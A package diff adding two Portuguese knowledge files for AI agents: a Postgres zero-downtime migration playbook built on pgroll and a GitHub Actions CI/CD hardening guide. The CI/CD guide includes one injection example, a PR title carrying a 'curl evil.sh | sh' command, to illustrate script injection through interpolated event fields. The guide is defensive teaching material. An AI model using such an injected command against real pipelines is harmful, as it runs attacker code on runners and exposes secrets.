nexus-core-v3 3.0.0

package/knowledge/data/zero-downtime-migrations.md

@@ -0,0 +1,308 @@
+---
+id: zero-downtime-migrations
+domain: data
+agents: [data-engineer]
+when: "ao evoluir o schema em produção sem downtime nem quebrar a aplicação"
+---
+
+# Zero-downtime migrations — evoluir o schema sem parar a aplicação
+
+A maioria das migrations quebra produção por um motivo só: **trata schema e código como se mudassem
+no mesmo instante.** Eles não mudam. Entre o deploy do schema e o deploy de todas as réplicas da
+aplicação existe uma janela em que **a versão antiga do app e a versão nova do schema convivem** — e é
+nessa janela que tudo explode.
+
+Este pack é o playbook **expand/contract** (também chamado de parallel change), o mesmo que ferramentas
+como [pgroll](https://github.com/xataio/pgroll) automatizam para Postgres. A régua é grounded em SQL
+real e nas garantias reais do Postgres — não em "boas práticas" vagas.
+
+## O problema / o tell
+
+Migration de produção é medíocre quando tem qualquer destes:
+
+1. **`ALTER TABLE ... ADD COLUMN ... NOT NULL` sem default** — varre e reescreve a tabela inteira sob
+   `ACCESS EXCLUSIVE LOCK`. Trava toda leitura E escrita por segundos a minutos. Em tabela grande, é
+   downtime.
+2. **`RENAME COLUMN` ou `DROP COLUMN` num único deploy** — a aplicação antiga ainda referencia o nome
+   velho. No instante do rename, toda query da versão antiga falha com `column does not exist`.
+3. **Trocar tipo de coluna com `ALTER COLUMN ... TYPE`** — força reescrita de tabela + invalida o plano
+   das queries em flight. `int` → `bigint`, `text` → `varchar(n)`, todos reescrevem.
+4. **`CREATE INDEX` (sem `CONCURRENTLY`)** — pega `SHARE LOCK`, bloqueia todas as escritas na tabela
+   durante a construção inteira do índice.
+5. **`ADD CONSTRAINT ... CHECK` / `FOREIGN KEY` direto** — valida a tabela inteira sob lock antes de
+   liberar.
+6. **Migration acoplada ao deploy do app** — "rodo o ALTER e subo o código junto". Não existe "junto"
+   num sistema com N pods atrás de um load balancer; existe uma janela onde versões coexistem.
+7. **Sem caminho de rollback** — a migration aplica, dá problema em produção, e a única saída é outra
+   migration corretiva no susto (que também pode quebrar).
+8. **Backfill num `UPDATE` único** — `UPDATE tabela SET nova = f(velha)` numa tabela de milhões de
+   linhas trava a tabela inteira numa transação gigante, infla o WAL e segura `VACUUM`.
+
+O tell-mãe: **a migration assume que schema e app mudam atomicamente.** Eles nunca mudam. Toda mudança
+quebradora precisa virar uma sequência de mudanças **aditivas e reversíveis** que passam por um estado
+onde o schema é compatível com a versão antiga E a nova do app ao mesmo tempo.
+
+## O conhecimento / os princípios
+
+### 1. Expand → Contract: nunca mude, sempre adicione e depois remova
+
+Toda mudança quebradora é decomposta em duas fases separadas por **deploys distintos**:
+
+- **Expand (`pgroll start`):** adiciona o novo elemento *ao lado* do antigo, sem quebrar nada. Mudanças
+  puramente aditivas. O schema fica compatível com a versão velha e a nova do app simultaneamente.
+- **Contract (`pgroll complete`):** só depois que **nenhuma** instância da aplicação antiga está mais
+  no ar, remove o elemento velho e as estruturas temporárias.
+
+Entre as duas fases há um período de coexistência. É ele que dá o zero-downtime. Em pgroll o ciclo é
+literal:
+
+```bash
+pgroll start   migrations/02_make_description_not_null.yaml --postgres-url "postgres://..."
+# ... deploy do app novo, validação, espera todo app velho sair ...
+pgroll complete --postgres-url "postgres://..."
+# ou, antes de completar, se algo deu errado:
+pgroll rollback --postgres-url "postgres://..."
+```
+
+A regra inegociável: **expand e contract nunca no mesmo deploy.** Entre eles entra o deploy do código
+que passa a usar o novo elemento.
+
+### 2. Adicionar coluna `NOT NULL` em fases (o caso canônico)
+
+Você **não** faz `ADD COLUMN ... NOT NULL`. Você faz aditivo, backfilla, e só então valida a constraint
+— cada passo sem lock longo.
+
+| Fase | Operação | Lock | Por quê é seguro |
+|---|---|---|---|
+| 1. Add nullable | `ADD COLUMN status text` (sem NOT NULL) | metadata-only no PG 11+ | Não reescreve a tabela; default volátil é evitado |
+| 2. Backfill | `UPDATE` em **lotes** (10k linhas/batch) | row-level por lote | Não trava a tabela inteira numa transação só |
+| 3. Constraint `NOT VALID` | `ADD CONSTRAINT ck CHECK (status IS NOT NULL) NOT VALID` | breve | `NOT VALID` **não** varre as linhas existentes |
+| 4. Validar | `VALIDATE CONSTRAINT ck` | `SHARE UPDATE EXCLUSIVE` | Não bloqueia leitura nem escrita normal |
+| 5. (opcional) Promover | `SET NOT NULL` aproveitando a CHECK já validada (PG 12+) | breve | PG reusa a CHECK e pula o full scan |
+
+É exatamente o que pgroll gera por baixo: cria a coluna física nova, marca a constraint como
+`CHECK (...) NOT NULL NOT VALID`, backfilla, e valida. O `up`/`down` da migration declara **como
+preencher** os valores existentes:
+
+```yaml
+operations:
+  - alter_column:
+      table: users
+      column: description
+      nullable: false
+      up:   SELECT CASE WHEN description IS NULL THEN 'No description provided' ELSE description END
+      down: description
+```
+
+- `up` = como popular a coluna nova a partir da antiga (backfill + dual-write para frente).
+- `down` = como popular a antiga a partir da nova (dual-write para trás, usado no rollback).
+
+Coluna nullable **com default** é o caso fácil — não precisa backfill, pgroll trata como aditivo puro:
+
+```yaml
+operations:
+  - add_column:
+      table: reviews
+      column:
+        name: rating
+        type: text
+        default: '0'
+```
+
+### 3. Dual-write por trigger: manter coluna velha e nova em sincronia
+
+Durante a coexistência, escritas chegam pelas duas versões do app. A versão antiga escreve na coluna
+velha; a nova, na coluna nova. Sem sincronização, uma fica desatualizada. pgroll resolve criando uma
+**coluna física temporária** (ex.: `_pgroll_new_description`) e um **trigger** que propaga cada escrita
+para a contrapartida, aplicando a expressão `up`/`down`. O esqueleto do que a trigger faz:
+
+```sql
+-- conceito do que pgroll gera automaticamente durante a migration ativa
+CREATE OR REPLACE FUNCTION _pgroll_sync_description() RETURNS trigger AS $$
+BEGIN
+  -- app novo escreveu na coluna nova → propaga pra velha (expressão down)
+  IF NEW._pgroll_new_description IS DISTINCT FROM OLD._pgroll_new_description THEN
+    NEW.description := NEW._pgroll_new_description;
+  -- app velho escreveu na coluna velha → propaga pra nova (expressão up)
+  ELSE
+    NEW._pgroll_new_description :=
+      CASE WHEN NEW.description IS NULL THEN 'No description provided' ELSE NEW.description END;
+  END IF;
+  RETURN NEW;
+END;
+$$ LANGUAGE plpgsql;
+
+CREATE TRIGGER _pgroll_trigger_users__pgroll_new_description
+  BEFORE INSERT OR UPDATE ON users
+  FOR EACH ROW EXECUTE FUNCTION _pgroll_sync_description();
+```
+
+Se você faz **sem** pgroll, este é o padrão: trigger `BEFORE INSERT OR UPDATE` que mantém as duas
+colunas coerentes durante toda a janela. No `complete`, a trigger e a coluna velha são derrubadas.
+
+### 4. Views versionadas: cada versão do app enxerga seu próprio schema
+
+O truque que torna rename/drop seguros: as aplicações **não acessam as tabelas físicas diretamente**.
+Cada migration cria um **schema versionado** com **views** sobre as tabelas reais. pgroll nomeia os
+schemas por versão:
+
+```
+public_01_initial_schema      -- view: description
+public_02_rename_description   -- view: bio  (mesma coluna física, nome novo)
+```
+
+A view da versão antiga continua expondo `description`; a da versão nova expõe `bio`. **A mesma coluna
+física, dois nomes lógicos.** Por isso o rename não quebra ninguém: cada app vê o nome que conhece.
+
+O app escolhe a versão setando o `search_path` — **dentro de uma transação**, senão a sessão pode pegar
+outra conexão do pool:
+
+```bash
+export PGROLL_SCHEMA_VERSION=$(pgroll latest --with-schema --postgres-url "postgres://...")
+```
+
+```typescript
+// driver postgres.js / node-postgres — SET e query NO MESMO transaction/session
+const schema = process.env.PGROLL_SCHEMA_VERSION || 'public';
+await db.transaction(async (tx) => {
+  await tx.execute(`SET search_path TO ${schema}`);
+  return tx.select().from(users);
+});
+```
+
+Driver HTTP stateless **não serve** para esse padrão: `SET search_path` e a query precisam compartilhar
+a mesma sessão.
+
+### 5. Rename e Drop em fases seguras
+
+**Rename** com views versionadas é trivial: a coluna física nunca muda de nome; só a view da nova versão
+expõe o nome novo. Sem views, o rename vira um expand/contract de coluna inteira (add nova → dual-write
+→ migrar leitores → drop velha) — mais caro, e é o motivo de as views existirem.
+
+**Drop** segue a ordem inversa do add, e **drop é sempre na fase contract**:
+
+1. Deploy do app que **para de ler/escrever** a coluna.
+2. Confirmar que nenhuma instância antiga está no ar (a que ainda usa a coluna).
+3. Só então `ALTER TABLE ... DROP COLUMN` (rápido, metadata-only — o espaço é recuperado pelo `VACUUM`).
+
+Nunca dropar antes de o último app que a usa ter saído. É o erro nº 2 do tell.
+
+### 6. `CREATE INDEX CONCURRENTLY` — e por que NÃO dentro de transação
+
+Índice em produção é **sempre** `CONCURRENTLY`:
+
+```sql
+CREATE INDEX CONCURRENTLY idx_orders_status ON orders (status);
+```
+
+- `CREATE INDEX` normal pega `SHARE LOCK` → **bloqueia toda escrita** na tabela durante a construção
+  inteira.
+- `CREATE INDEX CONCURRENTLY` constrói **sem bloquear** insert/update/delete concorrentes.
+
+Mas vem com regras duras, todas reais do Postgres:
+
+| Restrição | Consequência prática |
+|---|---|
+| **Não pode rodar dentro de transaction block** | Faz dois scans e espera transações abertas terminarem; precisa commitar entre as fases internas. Por isso pgroll executa `create_index` **fora** da transação da migration. |
+| Faz **dois scans** da tabela + espera transações concorrentes | Demora bem mais que o `CREATE INDEX` normal — planeje para tabelas grandes. |
+| Pode **falhar no meio** | Deixa um **índice inválido** (`INVALID`) para trás. Diferente do `CREATE INDEX` normal, que faz rollback limpo. |
+| Recovery do índice inválido | `DROP INDEX CONCURRENTLY idx_orders_status;` e recriar. Detectar com a query de índices inválidos abaixo. |
+
+```sql
+-- encontrar índices que falharam no meio do CONCURRENTLY
+SELECT c.relname
+FROM pg_index i JOIN pg_class c ON c.oid = i.indexrelid
+WHERE i.indisvalid = false;
+```
+
+Em pgroll é uma operação declarativa, e ele cuida de rodá-la fora da transação:
+
+```json
+{ "create_index": { "name": "idx_orders_status", "table": "orders", "columns": ["status"] } }
+```
+
+### 7. Compatibilidade backward/forward entre app e schema
+
+A regra que governa a janela de coexistência:
+
+- **Backward-compatible (expand):** o schema novo **não quebra** o app antigo. Add coluna nullable, add
+  índice, add view — o app velho ignora. Sempre seguro de deployar primeiro.
+- **Forward-compatible (app):** o app novo **funciona com o schema velho** durante a janela (ex.: lê a
+  coluna nova mas tolera ela vazia/sincronizada por trigger).
+
+Ordem de deploy que respeita as duas:
+
+```
+1. EXPAND  schema (aditivo, backward-compat)   → pgroll start
+2. DEPLOY  app novo (forward-compat, dual-write ativo)
+3. ESPERA  todo app antigo sair de produção
+4. CONTRACT schema (drop do velho)             → pgroll complete
+```
+
+Inverter qualquer passo abre uma janela de erro. Deployar o app novo antes do expand → ele lê coluna que
+não existe. Fazer contract antes de o app velho sair → ele lê coluna que sumiu.
+
+### 8. Rollback seguro de cada fase
+
+O ponto do expand/contract: **enquanto não houve `complete`, o rollback é instantâneo e seguro.** A
+coluna velha ainda existe, a trigger ainda sincroniza, a view antiga ainda responde.
+
+| Estado | Rollback |
+|---|---|
+| Após `start`, antes de `complete` | `pgroll rollback` — derruba coluna nova, triggers e views da versão nova. App antigo nunca foi tocado. Zero risco. |
+| Após `complete` | A coluna velha já foi dropada. Rollback agora = nova migration expand/contract no sentido inverso (não é "desfazer"). |
+| Backfill em andamento | Interromper é seguro: as linhas já backfilladas ficam corretas (dual-write mantém), e o `down` reverte. |
+
+A `down` de cada operação **é** o plano de rollback declarado de antemão — não algo improvisado no susto.
+Para DDL que pgroll não cobre, use o escape hatch `sql` com `up`/`down`, ciente de que **não vem com a
+garantia de zero-downtime**:
+
+```yaml
+operations:
+  - sql:
+      up:   CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT)
+      down: DROP TABLE users
+```
+
+## Checklist "isto vai derrubar produção?"
+
+Antes de aplicar, qualquer "sim" é um risco a corrigir:
+
+- [ ] Tem `ADD COLUMN ... NOT NULL` sem default (full table rewrite sob `ACCESS EXCLUSIVE`)?
+- [ ] Tem `RENAME`/`DROP COLUMN` no mesmo deploy do código que ainda usa o nome velho?
+- [ ] Tem `ALTER COLUMN ... TYPE` que reescreve a tabela?
+- [ ] Tem `CREATE INDEX` sem `CONCURRENTLY`?
+- [ ] Tem `CREATE INDEX CONCURRENTLY` dentro de um transaction block (vai falhar)?
+- [ ] Adicionou índice concorrente sem checar `indisvalid = false` depois (índice fantasma inválido)?
+- [ ] Tem `ADD CONSTRAINT CHECK/FK` sem `NOT VALID` + `VALIDATE` em passo separado?
+- [ ] O backfill é um `UPDATE` único na tabela inteira em vez de lotes (~10k linhas/batch)?
+- [ ] A migration e o deploy do app estão acoplados (sem janela de coexistência)?
+- [ ] Existe coluna velha sendo dropada **antes** de confirmar que o app antigo saiu de produção?
+- [ ] Falta `down`/rollback declarado para cada operação?
+- [ ] App usa `SET search_path` para schema versionado **fora** de uma transação (pode pegar outra conexão do pool)?
+
+## Tabela de decisão "use X quando Y"
+
+| Quando você precisa... | Use isto | Não use isto |
+|---|---|---|
+| Adicionar coluna obrigatória | add nullable → backfill em lotes → `CHECK NOT VALID` → `VALIDATE` → `SET NOT NULL` | `ADD COLUMN NOT NULL` direto |
+| Adicionar coluna com valor padrão fixo | `ADD COLUMN ... DEFAULT 'x'` (aditivo, sem backfill no PG 11+) | backfill manual |
+| Renomear coluna | view versionada expondo o nome novo (mesma coluna física) | `RENAME COLUMN` num deploy só |
+| Remover coluna | drop **na fase contract**, após o último app que a usa sair | drop junto com o deploy do app |
+| Trocar tipo de coluna | nova coluna + dual-write (`up`/`down`) + migrar leitores + drop velha | `ALTER COLUMN ... TYPE` in-place |
+| Criar índice em produção | `CREATE INDEX CONCURRENTLY` (fora de transação) | `CREATE INDEX` (trava escritas) |
+| Adicionar CHECK/FK | `ADD CONSTRAINT ... NOT VALID` depois `VALIDATE CONSTRAINT` | `ADD CONSTRAINT` que valida sob lock |
+| Backfill de tabela grande | `UPDATE` em lotes (~10k/batch), commit por lote | um `UPDATE` na transação inteira |
+| Manter coluna velha/nova coerentes na janela | trigger de dual-write (`BEFORE INSERT/UPDATE`) com `up`/`down` | confiar que o app escreve nas duas |
+| Servir versões diferentes do app | schemas versionados + views + `search_path` por sessão | um schema só pra todos |
+| Reverter antes de finalizar | `pgroll rollback` (coluna velha ainda viva) | nova migration corretiva no susto |
+| Reverter após `complete` | nova migration expand/contract no sentido inverso | tentar "desfazer" o complete |
+| DDL não coberta (zero-downtime) | escape hatch `sql` com `up`/`down`, ciente da perda de garantia | rodar DDL crua sem plano de `down` |
+
+---
+
+**Fonte:** [xataio/pgroll](https://github.com/xataio/pgroll) ·
+[Expand/contract com pgroll](https://xata.io/blog/pgroll-expand-contract) ·
+[Como o pgroll funciona por dentro](https://xata.io/blog/pgroll-internals) ·
+[Guia pgroll (Neon)](https://neon.com/guides/pgroll) ·
+[Postgres: CREATE INDEX](https://www.postgresql.org/docs/current/sql-createindex.html)

package/knowledge/devops/cicd-pipeline-best-practices.md

@@ -0,0 +1,318 @@
+---
+id: cicd-pipeline-best-practices
+domain: devops
+agents: [devops]
+when: "ao montar ou revisar um pipeline de CI/CD"
+---
+
+# CI/CD Pipeline — seguro e rápido por padrão
+
+## O problema
+
+A maioria dos pipelines de GitHub Actions é escrita pra "ficar verde" e nunca mais é tocada. O
+resultado é um workflow que funciona, mas que é **lento e uma porta de entrada para supply-chain
+attack**. Os tells de um pipeline medíocre:
+
+1. **Actions pinadas por tag** (`uses: actions/checkout@v4`). Tag é mutável — quem ganha write no
+   repo da action move o `v4` pra um commit malicioso. Foi exatamente assim que o
+   `tj-actions/changed-files` foi comprometido: um commit malicioso vazou os secrets de todos os
+   workflows que referenciavam por tag.
+2. **Sem bloco `permissions`** — o workflow herda o default do repo, que costuma ser read/write em
+   tudo. Se uma dependência for comprometida, o `GITHUB_TOKEN` dá pra fazer push, criar release e
+   mexer em settings. Blast radius máximo.
+3. **Secrets de longa duração** (`AWS_ACCESS_KEY_ID` em `secrets`) quando OIDC resolveria sem
+   guardar credencial nenhuma.
+4. **Tudo num job só** — build, lint e test em sequência num único job, sem paralelismo, sem cache
+   de dependências. CI de 12 minutos que poderia ser de 3.
+5. **Sem `concurrency`** — você empurra 3 commits e os 3 runs antigos continuam rodando até o fim,
+   queimando minutos de runner enquanto só o último importa.
+6. **`${{ github.event.* }}` direto dentro de `run:`** — injeção de script. Um título de PR
+   `"; curl evil.sh | sh; "` executa no runner.
+7. **Deploy sem gate** — `on: push` na main dispara deploy em produção sem reviewer, sem
+   environment, sem branch policy.
+
+A régua deste pack: **toda decisão de pipeline precisa ter justificativa de segurança OU de
+velocidade.** Default não-justificado é dívida.
+
+## O conhecimento
+
+### 1. PIN de actions por SHA completo, nunca por tag
+
+Pinar no SHA de 40 caracteres é a **única** forma de usar uma action como release imutável. Amarre o
+SHA a uma versão real (não a um commit arbitrário do default branch) e deixe a versão em comentário.
+
+```yaml
+# ruim — tag é mutável, pode ser movida pra um commit malicioso
+- uses: actions/checkout@v4
+- uses: actions/setup-node@v4
+
+# bom — SHA completo + comentário com a versão pra Dependabot/humano rastrear
+- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
+- uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
+```
+
+> Dependabot **não** alerta sobre actions pinadas por SHA usando o ecossistema padrão — configure
+> `package-ecosystem: "github-actions"` em `.github/dependabot.yml` pra ele propor o bump do SHA por
+> você, mantendo o pin sem virar trabalho manual.
+
+### 2. `permissions` least-privilege — read no topo, eleva por job
+
+Workflow sem `permissions` herda o default do repo (geralmente read/write em tudo). Declare
+`contents: read` no topo e **eleve só no job que precisa**.
+
+```yaml
+# ruim — sem bloco permissions: herda read/write em tudo
+name: CI
+on: [push]
+jobs:
+  build: ...
+
+# bom — default mínimo no topo, elevação cirúrgica por job
+name: CI
+on: [push]
+
+permissions:
+  contents: read          # default pra todos os jobs
+
+jobs:
+  release:
+    permissions:
+      contents: write       # só este job pode escrever (criar tag/release)
+      pull-requests: write
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
+```
+
+Escopos válidos do `GITHUB_TOKEN`: `contents`, `pull-requests`, `issues`, `deployments`, `checks`,
+`statuses`, `packages`, `id-token`, `actions`, `security-events`. Para forçar que **cada** job
+declare explicitamente o que precisa, use `permissions: {}` no topo (zera tudo).
+
+### 3. OIDC no lugar de secrets de longa duração
+
+Para autenticar em cloud (AWS/GCP/Azure), use OpenID Connect: o GitHub emite um JWT efêmero por run
+e a cloud troca por credencial temporária. Você para de guardar `AWS_ACCESS_KEY_ID` como secret.
+
+```yaml
+# ruim — chave de longa duração no secrets store, vaza e vale pra sempre
+jobs:
+  deploy:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: aws-actions/configure-aws-credentials@v4
+        with:
+          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
+          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
+
+# bom — OIDC: id-token: write + role-to-assume, zero credencial guardada
+permissions:
+  id-token: write          # obrigatório pro GitHub emitir o JWT
+  contents: read
+jobs:
+  deploy:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
+        with:
+          role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
+          aws-region: us-east-1
+```
+
+> O `id-token: write` precisa estar no job que faz a troca. Sem ele o GitHub não emite o JWT e o
+> `configure-aws-credentials` falha.
+
+### 4. Jobs separados (build / lint / test) com paralelismo
+
+Um job monolítico serializa tudo. Separe em jobs paralelos e use `needs:` só onde há dependência
+real. Lint e test não dependem um do outro — rodam em paralelo.
+
+```yaml
+# ruim — tudo num job, serializado, ~12 min
+jobs:
+  ci:
+    runs-on: ubuntu-latest
+    steps:
+      - run: npm ci
+      - run: npm run lint
+      - run: npm test
+      - run: npm run build
+
+# bom — lint e test em paralelo; build espera o que importa
+jobs:
+  lint:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
+      - uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
+        with: { node-version: 20, cache: npm }
+      - run: npm ci
+      - run: npm run lint
+
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
+      - uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
+        with: { node-version: 20, cache: npm }
+      - run: npm ci
+      - run: npm test
+
+  build:
+    needs: [lint, test]      # só builda se lint e test passarem
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
+      - run: npm ci && npm run build
+```
+
+### 5. Cache de dependências — built-in do setup-node
+
+Não monte cache de `node_modules` na mão. O `setup-node` cacheia via `actions/cache` por baixo, com
+chave derivada do lockfile. Para casos fora dele (ex.: `.next/cache`), use `actions/cache` explícito.
+
+```yaml
+# bom — cache automático de npm/yarn/pnpm pelo próprio setup-node
+- uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
+  with:
+    node-version: 20
+    cache: npm              # invalida sozinho quando o package-lock.json muda
+
+# bom — cache explícito pra build artifacts (chave no lockfile)
+- uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94ea4f9 # v4.0.2
+  with:
+    path: .next/cache
+    key: ${{ runner.os }}-nextjs-${{ hashFiles('package-lock.json') }}
+```
+
+### 6. Matrix para cobrir versões sem multiplicar workflow
+
+Use `strategy.matrix` pra rodar a mesma suíte em várias versões/OS. Em CI de PR, `fail-fast: true`
+(default) economiza runner abortando ao primeiro fail; em release, `fail-fast: false` para ver
+**todas** as falhas de uma vez.
+
+```yaml
+# bom — uma definição, N combinações
+strategy:
+  fail-fast: false                       # vê todas as falhas, não para na primeira
+  matrix:
+    node-version: [18, 20, 22]
+    os: [ubuntu-latest, windows-latest]
+runs-on: ${{ matrix.os }}
+steps:
+  - uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
+    with:
+      node-version: ${{ matrix.node-version }}
+      cache: npm
+```
+
+### 7. `concurrency` — cancela runs obsoletos
+
+Sem isso, cada push novo deixa os runs antigos rodando até o fim. Agrupe por workflow + ref e
+cancele o que está em andamento. Para PR, use `head_ref` com fallback no `run_id` (evita cancelar
+runs de push da main entre si).
+
+```yaml
+# bom — novo push no mesmo branch cancela o run anterior daquele branch
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}
+  cancel-in-progress: true
+
+# bom — variante PR-safe: agrupa por head_ref, cai pro run_id fora de PR
+concurrency:
+  group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+```
+
+> **Não** ative `cancel-in-progress: true` em jobs de **deploy/produção** — cancelar um deploy no
+> meio pode deixar o ambiente num estado parcial. Use grupo de concorrência sem cancelamento
+> (`cancel-in-progress: false`) pra serializar deploys.
+
+### 8. Não interpole `github.event.*` dentro de `run:` (injeção de script)
+
+Contexto controlado pelo atacante (título de PR, nome de branch, corpo de issue) interpolado direto
+no shell vira execução de código. Passe por `env:` — aí o valor vira variável e não toca a geração
+do script.
+
+```yaml
+# ruim — título de PR malicioso executa no runner
+- run: echo "PR: ${{ github.event.pull_request.title }}"
+
+# bom — valor vai pra env var, tratado como dado, não como código
+- name: Check PR title
+  env:
+    TITLE: ${{ github.event.pull_request.title }}
+  run: echo "PR: $TITLE"
+```
+
+> Evite `pull_request_target` e `workflow_run` com checkout de código não confiável — eles rodam com
+> o token do repo base. Se precisar testar PR de fork, use `on: pull_request` (token sem permissão
+> de write e sem secrets por padrão).
+
+### 9. Gates obrigatórios antes do merge e do deploy
+
+Velocidade não pode atropelar controle. Duas camadas:
+
+- **Branch protection (merge gate):** marque os jobs `lint`, `test`, `build` como **required status
+  checks** na proteção do branch. PR não mergeia se algum falhar. Exija PR review e, opcionalmente,
+  CODEOWNERS em `.github/workflows/` pra que mudança no próprio pipeline passe por reviewer.
+- **Environments (deploy gate):** o job de deploy referencia um `environment:` com **required
+  reviewers** (até 6 pessoas/times; basta 1 aprovar) e **deployment branch policy** (só `main`
+  deploya em prod). Habilite *prevent self-review*.
+
+```yaml
+# bom — deploy travado atrás de environment com reviewer + secret só desse ambiente
+jobs:
+  deploy-prod:
+    needs: [build]
+    runs-on: ubuntu-latest
+    environment:
+      name: production        # required reviewers + branch policy configurados na UI/API
+      url: https://app.exemplo.com
+    permissions:
+      id-token: write
+      contents: read
+    steps:
+      - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
+      - run: ./deploy.sh
+```
+
+```text
+# bom — .github/CODEOWNERS: mudança no pipeline exige aprovação do time
+.github/workflows/  @org/devops
+```
+
+## Checklist
+
+Antes de aprovar um pipeline — qualquer "não" é dívida a corrigir:
+
+- [ ] Toda action está pinada por **SHA de 40 chars** com comentário de versão (nenhuma `@v4`/`@main`)?
+- [ ] Existe bloco `permissions:` com `contents: read` no topo, elevando só nos jobs que precisam?
+- [ ] Autenticação em cloud usa **OIDC** (`id-token: write` + `role-to-assume`), sem chave de longa duração em `secrets`?
+- [ ] Build, lint e test estão em **jobs separados**, com `needs:` só onde há dependência real?
+- [ ] Dependências têm **cache** (`cache: npm` no setup-node ou `actions/cache` com chave no lockfile)?
+- [ ] Há `concurrency` com `cancel-in-progress: true` em CI (e **sem** cancelamento em deploy)?
+- [ ] Nenhum `${{ github.event.* }}` interpolado direto em `run:` — tudo passa por `env:`?
+- [ ] Os checks de CI são **required status checks** na branch protection?
+- [ ] Deploy em prod está atrás de `environment:` com **required reviewers** e branch policy?
+- [ ] `.github/dependabot.yml` tem `package-ecosystem: "github-actions"` pra bump dos SHAs?
+
+## Tabela de decisão
+
+| Situação | Faça isto | Por quê |
+|---|---|---|
+| Referenciar uma action de terceiro | Pin no SHA de 40 chars + comentário `# vX.Y.Z` | Tag é mutável; SHA é imutável (caso `tj-actions/changed-files`) |
+| Action é oficial (`actions/*`) | Mesmo assim, pin no SHA | Conta/org da action pode ser comprometida; pin protege igual |
+| Workflow só lê código e roda testes | `permissions: { contents: read }` no topo | Default do repo costuma ser read/write — blast radius máximo |
+| Job precisa criar tag/release/comentar PR | Elevar `contents: write` / `pull-requests: write` **só nesse job** | Least-privilege: o resto do workflow continua read-only |
+| Deploy em AWS/GCP/Azure | OIDC (`id-token: write` + role) | Elimina credencial de longa duração que vaza e vale pra sempre |
+| Lint e test independentes | Jobs paralelos, sem `needs` entre eles | Paraleliza; corta tempo de parede do CI |
+| Build depende de lint+test verdes | `needs: [lint, test]` | Não desperdiça runner buildando código que já falhou |
+| Cobrir várias versões de Node/OS | `strategy.matrix` | Uma definição, N combinações; sem duplicar workflow |
+| CI de PR com matrix | `fail-fast: true` (default) | Aborta cedo, economiza runner |
+| Suíte de release/diagnóstico | `fail-fast: false` | Quer ver **todas** as falhas de uma vez |
+| Pushes frequentes no mesmo branch | `concurrency` + `cancel-in-progress: true` | Cancela runs obsoletos; só o último importa |
+| Job de deploy / migração de prod | `concurrency` com `cancel-in-progress: false` | Cancelar no meio deixa ambiente em estado parcial |
+| Usar título de PR / branch name no script | Passar por `env:`, nunca `${{ }}` em `run:` | Previne injeção de script via input controlado pelo atacante |
+| Testar PR de fork | `on: pull_request` (não `pull_request_target`) | Token sem write e sem secrets; não checa out código não confiável com token privilegiado |
+| Bloquear merge sem CI verde | Marcar jobs como required status checks | Gate determinístico no branch protection |
+| Bloquear deploy sem aprovação humana | `environment:` com required reviewers + branch policy | Gate de produção; *prevent self-review* fecha o loop |